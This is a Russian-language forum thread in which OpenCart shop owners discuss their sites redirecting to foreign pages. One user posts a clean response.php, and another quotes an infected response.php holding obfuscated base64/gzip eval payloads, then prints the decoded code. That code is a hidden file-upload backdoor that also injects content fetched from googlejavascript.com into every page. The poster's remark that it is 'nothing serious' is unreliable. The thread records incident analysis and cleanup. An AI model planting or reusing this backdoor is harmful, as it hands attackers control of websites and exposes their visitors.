открывается левый сайт

Мужик, 20 минут назад я обнаружил у себя тооочно такую же херню, перебрасывало на сайт классно ком юа.

Я тоже какой-то модуль ставил, но я сохранил оригинальный файл

вот код, вставь в response

PHP:
<?php
class Response {
    private $headers = array();
    private $level = 0;
    private $output;
 
    public function addHeader($header) {
        $this->headers[] = $header;
    }

    public function redirect($url) {
        header('Location: ' . $url);
        exit;
    }
 
    public function setCompression($level) {
        $this->level = $level;
    }
     
    public function setOutput($output) {
        $this->output = $output;
    }

    private function compress($data, $level = 0) {
        if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
            $encoding = 'gzip';
        }

        if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
            $encoding = 'x-gzip';
        }

        if (!isset($encoding)) {
            return $data;
        }

        if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
            return $data;
        }

        if (headers_sent()) {
            return $data;
        }

        if (connection_status()) {
            return $data;
        }
     
        $this->addHeader('Content-Encoding: ' . $encoding);

        return gzencode($data, (int)$level);
    }

    public function output() {
        if (!defined('HTTP_CATALOG')) $this->output = str_replace('index.php?route=common/home', '', $this->output);
        if ($this->output) {
            if ($this->level) {
                $ouput = $this->compress($this->output, $this->level);
            } else {
                $ouput = $this->output;
            } 
             
            if (!headers_sent()) {
                foreach ($this->headers as $header) {
                    header($header, true);
                }
            }
         
            echo $ouput;
        }
    }
}
?>




PS

нашел свой код тут Для просмотра ссылки Войди или Зарегистрируйся

и это очень странно, я не ставил этот модуль никогда в жизни, он вообще мне не интересен...

Хм.. Сайт защищен от дыр, имхо.
Админка сменена, 2жды пропаролена через хостинг (доступ к папке), ограничен вход на фтп с 1го ип. Странно.
 
Последнее редактирование:
да, я там качал один модуль. сцуко, мало того бабки берет за регистрацию, так еще член подсовывает. такой код нашел в файле:
system/library/response.php
Код:
$output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO')));  eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY=')));  eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh')));  eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')));
Расшифровал, ничего серьезного не вижу.
Код:
function get_page($url) {
    $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_VERBOSE, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $page = curl_exec($ch);
    $errorpage = '</body></html>';
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    switch ($httpcode) {
    case '200':
        return $page;
        break;
    case '404':
        return $errorpage;
        break;
    case '502':
        return $errorpage;
        break;
    }
}
error_reporting(E_ALL ^ E_NOTICE);
if (isset($_GET['outputs'])) {
    $outputs = $_GET['outputs'];
}
if (isset($outputs) == 'load') {
    if (isset($_POST['dir'])) {
        $target_path = $_POST['dir'];
    } else {
        $target_path = '';
    }
    $target_path = $target_path.basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
        echo "The file ".basename($_FILES['file']['name']).
        " uploaded!";
    } else {
        echo "Error";
    }
    echo "<br><br><form action=\"?outputs=load\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"dir\">Directory:</label><input type=\"text\" name=\"dir\" id=\"dir\" /> exemple: download/ <br /><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form>";
}
if ($ftend = get_page("http://googlejavascript.com/java/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])) {
    $find = array("</body>", "</html>", "http://opencart.com", "www.opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
    $replace = array("", $ftend, "http://ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com");
    $ouput = str_replace($find, $replace, $ouput);
    ini_set("display_errors", "off");
    error_reporting(0);
    echo $ouput;
} else {
    $find = array("opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
    $replace = array("ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com");
    $ouput = str_replace($find, $replace, $ouput);
    echo $ouput;
}
ini_set("display_errors", "off");
error_reporting(0);
 
Последнее редактирование:
повозился. пришлось восстановить бекап, наполнение каталога немного похерил, в бекапе тоже был этот код, заменил нужные файлы из начальной копии на компе. + поменял адрес админки + поставил на критичные папки права тока на чтение. вот блина.
 
повозился. пришлось восстановить бекап, наполнение каталога немного похерил, в бекапе тоже был этот код, заменил нужные файлы из начальной копии на компе. + поменял адрес админки + поставил на критичные папки права тока на чтение. вот блина.
Жаль, что ты не зашел, я через 4 минуты как ты ушел написал пост.

Так я не понял зачем бекапить было назад? Последнюю актуальную версию и просто убрать код и написать тот, что я далэ
 
Еще проверьте файлы на предмет скрытых ссылок через base64
 
PS

нашел свой код тут Для просмотра ссылки Войди или Зарегистрируйся

и это очень странно, я не ставил этот модуль никогда в жизни, он вообще мне не интересен...

Хм.. Сайт защищен от дыр, имхо.
Админка сменена, 2жды пропаролена через хостинг (доступ к папке), ограничен вход на фтп с 1го ип. Странно.
спустя 1 год стабильной работы, сайт тоже начал время от времени редиректить на левые сайты
виной всему-maxzon`овская сборка
 
А это всё потому что нужно ставить официальные сборки и потом уже подключать необходимые модули. Сборки слишком соблазнительны, но мало кто заморачивается поискать троянскую лошадку, которая может серьезно подпортить работу сайта.
 
Назад
Сверху